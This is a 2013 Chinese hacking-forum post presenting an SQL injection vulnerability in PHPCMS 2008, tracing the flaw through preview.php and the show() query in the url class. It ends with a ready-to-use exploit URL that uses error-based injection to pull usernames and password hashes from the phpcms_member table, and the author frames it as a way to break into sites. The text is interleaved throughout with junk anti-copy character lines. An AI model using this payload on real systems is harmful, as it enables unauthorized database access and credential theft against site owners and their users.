中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
# m" V. D+ Z2 H& B0 e
$ ?# \: x# C6 }( |- t% N
要转摘的兄弟们,你们还是带个版权吧!
7 ^: O: I4 y: A" B1 d- b
9 H" @# p$ f* E* C
组织 :
http://www.safekeyer.com/
(欢迎访问)
! a- w4 j* O {8 J' F8 Z
% C7 Y. f9 I% r$ k- h
author: 西毒 blog:
http://hi.baidu.com/sethc5
9 w v1 s8 _, w% a1 N
1 S) q$ n" u+ b: z5 G8 y9 o
$ E. R0 |2 r: W+ R3 j
# A* ?' ]% Y; U0 X! `: i# u0 H
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
# b ?* e. h) {3 _
1 I/ V' |6 i" u [, C ^# h
过程不明显的我就省略了。
, g* q0 n* S9 V: |# a7 \; n
9 S% m. K/ d) W" _+ a: s# @
在preview.php 中第7行
# P9 [/ y) s7 [
: h2 [/ p0 n. c
$r = new_stripslashes($info);
: d n; N: W8 a7 c- X5 ~
9 Q; B' Q* P* o) J2 d
我们跟踪new_stripslashes这个函数
! o! {4 b& M7 ^9 d% u
2 Q$ D: n0 `$ ]' Z( [ w. `
在global.func.php中可以找到
2 c" m* ]* J9 T8 {0 s, a# \9 B
% r3 U; p V& `2 q2 Y
1
, d: t6 g9 k' {' ]; V# T
2
2 q& t; [; v4 Y t' Q( W* G0 V
3
5 s4 Z: V1 A! o8 h1 h
4
M3 Z3 z6 @; z! b U# v
5
( k8 C8 f+ T' W) R: ~7 |
6 function new_stripslashes($string)
( \1 Q! E( x/ y! F% B3 Y
{
0 |% |8 Q3 Z& U
if(!is_array($string)) return stripslashes($string);
; q. \2 ?) a8 l" T( \
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
' N7 F4 n" U. J9 o6 g
return $string;
* {8 x2 Z$ F0 l6 t: y& Z$ w+ ?- k
}
$ C# R$ L, o. s. Q6 |
$ B! H2 I5 A8 W0 e9 B8 \+ ?, N
这个函数的功能不用解释了吧
( Y% R0 v/ [" R8 a
$ N9 U1 y% Z( |2 h7 z, t
所以我们看具体应用点再哪?
D: H8 H; O; Y8 M2 O
; {+ y$ W* }* I1 v
1
# }) F8 o# ^) R; {' c
2
5 b9 a, P% L# K9 R
3
2 i4 W4 E* A. U, [, b
4
9 r8 O0 M- F' H
5
4 G, W# C: p# }4 a+ t4 T
6
2 v, [, @( j' f% Z8 J, n
7
# Y& J9 R( C, ^$ Z+ `: `
8
: S0 V! @+ p |) r8 d
9
4 D5 A- E3 I$ @+ F
10
q5 u- U3 |- x/ M, k3 r0 X0 }
11
5 v9 F! R3 q+ J0 f1 E
12
% I! @4 L5 |$ y9 o% l" [
13
* s- k* e& Y- q U: i
14
% E" f; w% j' e% \# o5 `
15
6 _& L! w2 ~% f- J
16
( P9 f6 N1 w8 o! }; |' h( @& J
17
3 D, D- i, m: ^
18
% O0 N! ?0 T2 W, a6 f
19
# e- Y% @8 `# s r) P9 h
20
( h3 ^4 @2 k& {- v
21
5 |, s+ g& J" G( e. n3 I
22
3 U, z2 R0 j" S8 p2 w4 i
23
, n. c" ~) ?* f$ w W, S" {
24
0 p* O7 n9 ~) p2 c
25
8 X f; {, v& [/ L, h
26
4 M9 f u+ \- m5 C* T/ _ l
27
5 u2 z5 t7 [8 O- w$ M
28
6 x/ {/ ?, E9 I7 v3 [: Z- i
29
7 _5 ? _8 F* T" P
30
5 N, p2 w5 v$ l) Q. h! ` E
31
5 v* Q% f* ?/ F* N# }
32
: |& P# V k2 b% f2 b" S
33
7 ^$ h- \# D, k+ ^9 I# `$ A6 n
34
- [7 q% o% T8 y& `. j+ }
35 require dirname(__FILE__).'/include/common.inc.php';
( ]) C) q }$ B! ?5 ~/ S
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
2 \8 [! |; K( |6 A% C
require_once CACHE_MODEL_PATH.'content_output.class.php';
# D: V3 p; o/ S# [
require_once 'output.class.php';
5 N' d; ?6 H3 P& Q" `9 a
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
6 ]; J' L2 @7 w3 d ]0 T
$r = new_stripslashes($info); //反转义了.....关键
0 k: t, N# D9 P% w
$C = cache_read('category_'.$r['catid'].'.php');
3 R" B3 R; z* o; |# @6 c& @
$out = new content_output();
- Q3 y2 {; }5 Z1 y! Y
$r['userid'] = $_userid;
( M2 i$ Q4 d0 j6 a; V
$r['inputtime'] = TIME;
9 k4 E1 A% _7 k. Z
$data = $out->get($r);
# ]1 m8 D- E% r
extract($data);
4 J8 Z4 r% U2 k+ G
$userid = $_username;
& V( Z0 q! i& N
for($i=1;$i<10;$i++)
8 y6 H m: {, p3 n% Q, C j5 P
{
; j% |) b; u4 \3 `2 |5 X, e
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
* H! y5 j" [6 l2 Q/ M( R& m/ z
}
2 N5 [. @$ _1 }& ~" F7 p" |
# T- r3 O. L( C7 B7 Z0 B
$array_images = $str_attachmentArray;
7 d) M4 W" S' h
$images_number = 10;
# P }3 x5 W! I! y
$allow_priv = $allow_readpoint = 1;
, i! l, t( P- X
$updatetime = date('Y-m-d H:i:s',TIME);
1 Z6 |7 u9 Z9 e- E6 `
0 ]1 V" |' U. ?/ F, u: Y
$page = max(intval($page), 1);
' ~; t. m* { ^$ F! X
$pages = $titles = '';
, X* [+ x7 m4 L
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
5 b1 A( L# H2 [# N$ W- n, ?
{
- U1 |3 L/ {+ {8 W' w2 C, J2 ^7 Z
require_once 'url.class.php';
8 I% g) I7 s. b4 o+ F
$curl = new url();
- W6 Q9 R) l$ |9 W5 o
$contents = array_filter(explode('', $content));
2 \: k5 ^8 A# B
$pagenumber = count($contents);
' U b7 C9 M* N9 O. p
for($i=1; $i<=$pagenumber; $i++)
. @5 l# M7 B1 F9 _; A' h+ J
{
2 ^2 {% `: K% w/ K0 U$ x) c# v
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
1 k0 f' _: r4 Z) o/ y* I
}
7 i! x8 u: m& y" s6 w) \! o
其中细节我就不说了...
! n; Y+ D" h7 m* n
0 @: z1 F2 j7 ?4 n5 w$ b$ _4 G
我们看看这个$curl资源句柄中的show方法
# G6 ?- t7 p& ]
6 Q: a0 G' k/ ~2 `& c! O; e, A! A- E
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
8 X) J( x7 G, N+ I* b
3 i3 d7 N) W$ S" ?3 h" K) ?& L0 a
1
2 W/ `" w# Z* w9 F# M
2
, v0 I7 Y2 r! b* J1 X v
3
c! X+ i6 ~5 ]" }1 ~
4
' G% u5 q* i. p
5
& K4 b& q' n2 c: S9 ~
6
; [. `0 F; e9 h5 j' F6 J& e
7
( l# D3 R' }& D+ _! `* Y4 {3 J
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
* C D/ r5 ^# v# f0 G6 A
{
( M7 }+ o$ i# p; u7 \+ E
global $PHPCMS;
6 q0 ?% d% N& U5 j( u) }. r
if($catid == 0 || $time == 0 || $prefix == '')
! o, R) j9 o6 ^& M
{
- {' c6 \+ T* y4 }. }
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
9 `% r$ T5 e: j4 [6 F5 F' q
if($r['isupgrade'] && !empty($r['url']))
) V, @; G2 k8 ^( C
{
( o9 z. j$ q/ y9 r- {
0 k7 W% q$ ^0 V5 |! C
所以结合前面的......我们x站了吧
% d0 j1 d: T+ A: Y7 m
3 U2 y. o" G: O$ ?6 C
给出exp
! r# A+ j# {8 V/ v: d
# \0 g) w6 a( {+ L" o
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
0 w9 n y8 j4 s9 u8 E5 ~4 J
% J4 Q( e/ w( w% n- n) ^
截图看一下
' u5 C5 {8 f+ o+ T5 `
E( v% T) O+ z
最后真心说句,360收购漏洞计划,价格真心低.....
3 a' n# l' y8 k; u- ~
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2